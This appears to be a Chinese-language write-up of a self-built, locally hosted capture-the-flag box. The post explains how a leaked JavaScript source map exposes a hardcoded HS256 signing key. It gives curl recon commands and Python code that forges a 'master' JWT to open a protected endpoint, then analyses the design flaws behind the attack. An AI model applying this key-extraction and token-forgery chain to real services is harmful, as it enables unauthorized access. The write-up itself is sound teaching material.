駭客盲盒 #001:雲海劍宗 — 我要掌門真傳 (自創靶機)
難度:Easy
序:這一盒裝了什麼
這是「駭客盲盒」系列的第一盒,也是我自創的第一個靶機,靶機都有經codex檢查過,歡迎下載遊玩~
這一盒的名字叫雲海劍宗,外門弟子沈小石想讀到掌門真傳!
底下我會分成兩條線走,解題的部分用「我們」,一步一步把路走完;設計的部分切回「我」,聊聊每個機關當初為什麼那樣擺,想自己先玩的人,讀完「環境架設」就可以先關掉這篇。
一、環境架設
unzip hacker-blindbox-003-yunhai-sword-sect.zip
cd yunhai-sword-sect-box-003
docker compose up --build -d
跑起來後開瀏覽器:
http://127.0.0.1:8089/
戒律三條(沿用盒內說明):
- 只需對本地山門出手。
- 無須窮舉令牌或暴力嘗試。
- 線索皆在玩家可取得之處。
第二條不是禮貌提醒,是我主動幫玩家砍掉一整條錯誤路線。
HS256 的靶機很容易讓人條件反射去跑hashcat爆密鑰,跑三小時無果然後罵街。我不想要那種挫折感——這盒考的是觀察力不是算力,所以我把它寫進戒律。等你讀到第五節就會發現,密鑰一直躺在你拿得到的地方。
二、初次踏訪:領一枚令牌
首頁是「外門試煉・第一關」,中央一顆按鈕:向守山人領取令牌。
點下去,網站簽發一枚 JWT,並且很貼心地幫你把 Header 與 Payload 攤開:
// Header
{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"exp": 1785745134,
"iat": 1785737934,
"name": "沈小石",
"rank": "outer",
"sub": "outer-disciple-17"
}
頁面下方特別註明:「此處只將令牌可閱讀的兩段內容攤開,並未驗證簽章,也不會替你改動令牌。」
我們看到什麼
| 欄位 | 值 | 解讀 |
|---|---|---|
alg |
HS256 |
對稱式簽章,簽與驗用同一把密鑰。只要密鑰洩漏,令牌就任你捏造 |
rank |
outer |
這是目標。權限欄位擺在明面上,擺明是給你改的 |
sub |
outer-disciple-17 |
身分識別 |
exp - iat |
7200 |
兩小時有效,時間充裕,不必急著重領 |
HS256 加上一個叫 rank 的欄位,路線圖幾乎自己浮出來了:想辦法簽一張 rank 更高的令牌。
問題是,密鑰在哪?
那句「並未驗證簽章,也不會替你改動令牌」是我故意寫的。
表面上是免責聲明,實際上在暗示一件事:這個解碼器是純前端的,它只做 base64 decode, 想改令牌?自己來,我把工具給你、把欄位攤開給你看,但那把鎖得你自己去找。
有效期設 7200 秒也是刻意的,太短玩家會一直重領、心浮氣躁;太長又少了「令牌會過期」的臨場感,兩小時剛好夠一輪從容的 recon。
三、真正的線索:守山人隨筆
頁面角落有一段像是氛圍文字的東西:
「江湖有一張被遺忘的地圖,不一定畫山川。」 —— 字跡潦草,墨痕像是從某份舊卷末尾拓下來的。
這種東西很容易被當裝飾跳過,但在自製靶機裡,敘事文字往往就是提示本體,拆開來看,兩句話塞了三個變數:
- 「地圖」 —— 網站脈絡下,最直覺的聯想是
sitemap.xml - 「不一定畫山川」 —— 但它主動否定了地理義,這是關鍵修飾語
- 「舊卷末尾」 —— 東西藏在某個檔案的最後面
先照最直覺的猜法試一次:
curl -sS http://127.0.0.1:8089/robots.txt
curl -sS http://127.0.0.1:8089/sitemap.xml
{"error":"not_found"}
{"error":"not_found"}
死路。
死路也是情報
換上令牌再試一次,以及換各種帶法(Bearer、raw、Cookie、自訂 header、query string),全部回同一個 404、同樣 21 bytes:
U=http://127.0.0.1:8089/sitemap.xml
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Authorization: Bearer $TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Cookie: token=$TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "$U?token=$TOKEN"
# 全部 404 21
長度一致代表不是權限攔截,是路由根本沒註冊,這兩個檔案是真的不存在。
但這一輪 recon 撈到兩個有用的東西,先看完整 response header:
HTTP/1.0 404 Not Found
Server: YunhaiGate/1.0
Content-Security-Policy: default-src 'self'; img-src 'self' data:;
style-src 'self' 'unsafe-inline'; script-src 'self'; object-src 'none';
base-uri 'none'; frame-ancestors 'none'; form-action 'self'
Content-Type: application/json; charset=utf-8
安全標頭本身就是情報——這點在真實 recon 裡很常被忽略,防禦性配置在保護你的同時,也在描述你的架構長什麼樣。
四、順著 JS 挖下去
curl -sS http://127.0.0.1:8089/ | grep -Eo '(src|href)="[^"]+"'
href="/static/style.css"
src="/static/app.js"
跟 CSP 推論一致。看看這支 JS 的末尾——別忘了「舊卷末尾」:
curl -sS http://127.0.0.1:8089/static/app.js | tail -8
requestButton.addEventListener("click", requestEntryPass);
copyButton.addEventListener("click", copyToken);
})();
//# sourceMappingURL=/static/app.js.map
中了。
回頭看那句謎語,現在每個字都對上了:
- 「地圖」→ map 檔
- 「不一定畫山川」→ 不是 sitemap,是 source map
- 「從某份舊卷末尾拓下來」→
sourceMappingURL註解永遠寫在 JS 檔案的最後一行
順手也確認 API 路徑:
curl -sS http://127.0.0.1:8089/static/app.js | grep -Eo '"/[a-zA-Z0-9_/.:-]+"' | sort -u
# "/"
# "/api/entry-pass"
五、開圖:source map 裡躺著什麼
curl -sS http://127.0.0.1:8089/static/app.js.map -o app.js.map
python3 -m json.tool app.js.map
只有 1219 bytes,但內容非常豐盛:
{
"version": 3,
"file": "app.js",
"sources": ["webpack://yunhai-player/./legacy/deployment-config.ts"],
"sourcesContent": ["..."],
"x_legacy_deployment": {
"SIGNING_KEY": "yunhai-sect-ink-seal-1739",
"VAULT_ENDPOINT": "/vault/scroll",
"REQUIRED_RANK": "master",
"AUTH_HEADER": "Authorization: Bearer <token>",
"context": "1739 版舊山門部署設定;僅供除錯,不含最終 flag。"
}
}
把 sourcesContent 倒出來還原原始碼:
python3 - <<'EOF'
import json, os
m = json.load(open('app.js.map'))
os.makedirs('src', exist_ok=True)
for name, content in zip(m['sources'], m.get('sourcesContent') or []):
if content is None: continue
p = 'src/' + os.path.basename(name)
open(p, 'w').write(content)
print(f"[+] {p} ({len(content)} bytes)")
EOF
得到 src/deployment-config.ts:
/**
* 雲海劍宗玩家端・舊版部署設定
*
* 這份設定曾供試煉環境的前端診斷工具使用。改版時已不再由主程式匯入,
* 但 1739 版的建置流程仍將原始碼收進除錯地圖,留待舊山門追查部署問題。
* 注意:這不是最終劍譜內容,也不含任何旗標。
*/
export const SIGNING_KEY = 'yunhai-sect-ink-seal-1739';
export const VAULT_ENDPOINT = '/vault/scroll';
export const REQUIRED_RANK = 'master';
export const AUTH_HEADER = 'Authorization: Bearer <token>';
// 舊版驗收筆記:內院端點會依簽章與 rank 判定是否交付掌門卷軸。
// 呼叫格式:GET VAULT_ENDPOINT,並以 AUTH_HEADER 樣式夾帶江湖令牌。
四塊拼圖一次到齊:
| 拿到的東西 | 值 |
|---|---|
| 簽章密鑰 | yunhai-sect-ink-seal-1739 |
| 目標端點 | /vault/scroll |
| 所需身分 | rank: master |
| 帶法 | Authorization: Bearer <token> |
回頭看戒律第二條「無須窮舉令牌或暴力嘗試」,現在完全說得通。
六、自簽掌門令牌
密鑰在手,直接簽一張 rank: master:
import jwt, time
now = int(time.time())
payload = {
"exp": now + 7200,
"iat": now,
"name": "沈小石",
"rank": "master",
"sub": "outer-disciple-17",
}
print(jwt.encode(payload, "yunhai-sect-ink-seal-1739", algorithm="HS256"))
不想裝 pyjwt 的話,純標準庫版本也就十行:
import base64, hmac, hashlib, json, time
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',', ':'), ensure_ascii=False).encode())
now = int(time.time())
h = {"alg": "HS256", "typ": "JWT"}
p = {"exp": now + 7200, "iat": now, "name": "沈小石",
"rank": "master", "sub": "outer-disciple-17"}
msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(b"yunhai-sect-ink-seal-1739", msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")
叩門:
MASTER='<剛才印出來的令牌>'
curl -sSi -H "Authorization: Bearer $MASTER" http://127.0.0.1:8089/vault/scroll
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
石門開了。
八、完整攻擊鏈
首頁領取 JWT(HS256, rank=outer)
│
│ 「地圖不畫山川,墨痕從舊卷末尾拓下」
▼
/static/app.js 最後一行 → //# sourceMappingURL
│
▼
/static/app.js.map ← 部署時誤打包的 legacy config
│
│ 洩漏 SIGNING_KEY / VAULT_ENDPOINT / REQUIRED_RANK
▼
自簽 rank=master 的 JWT
│
▼
GET /vault/scroll → 🚩 flag
十、漏洞剖析:兩個問題疊起來才致命
這一盒我真正想講的,不是「source map 會洩漏東西」這麼單薄的一句話,它是兩層缺陷相乘的結果,任何一層補起來,攻擊鏈都會斷。
第一層:建置產物洩漏憑證
.map 檔跟著 production 一起上線,而且裡面躺著 hardcode 的簽章密鑰。
這不是虛構,是真實世界的漏洞,前端 build pipeline 預設就會生 source map,團隊忘記在 production 關掉,或是關掉了但 CDN 上還留著舊版,裡面通常有:
- 未混淆的原始碼與完整目錄結構
- 內部 API 路徑、尚未公開的 feature flag
- 註解、TODO、開發者的內部討論
- 有時候,就是憑證本身
.js.map 應該進你的固定 recon checklist,抓到 JS 就 tail 一下最後一行,成本兩秒鐘。
第二層:完全信任 client-side claim
這一層其實更嚴重。
後端只看 JWT 裡的 rank 欄位就決定要不要交付卷軸,沒有回頭確認 sub=outer-disciple-17 這個身分實際上該有什麼權限。
意思是:就算密鑰沒洩漏,只要哪天它因為別的原因外流——Git commit、環境變數 dump、log 洩漏、離職員工——整個授權模型就直接歸零,權限判定完全建立在「令牌沒被偽造」這個單一假設上,沒有第二道防線。
JWT 是身分證明,不是權限證明。 這兩件事在很多實作裡被混為一談。
我把兩層缺陷疊在一起,是因為只講第一層會誤導人。
如果這盒只考 source map 洩漏,玩家的結論會是「關掉 source map 就沒事了」——那是錯的,那只是把密鑰藏得深一點而已,真正的架構問題是後端無條件相信 token 裡的rank,而這個問題在密鑰洩漏之前就已經存在了,只是沒被觸發。
這也是我設計盲盒時的一個原則:flag 要能拿,但拿到之後得有東西可以想,單一漏洞的靶機解完就沒了,兩層疊加的才會逼你去問「所以到底哪裡錯了」。
結語
這一盒我想考的其實是閱讀。
robots.txt 跟 sitemap.xml 的死路是刻意鋪的,測的是你會不會被字面意思綁住;CSP 標頭是免費送的架構情報,測的是你會不會讀 response header;那句「不一定畫山川」是整關的樞紐,測的是你會不會把敘事文字當提示看。
工具能幫你跑完所有路徑,但跑完不等於讀完。
山門已開,下一盒再見。
本文為自製靶機 writeup,靶機僅供本地學習使用,請勿將文中技巧用於未經授權的目標。
Member discussion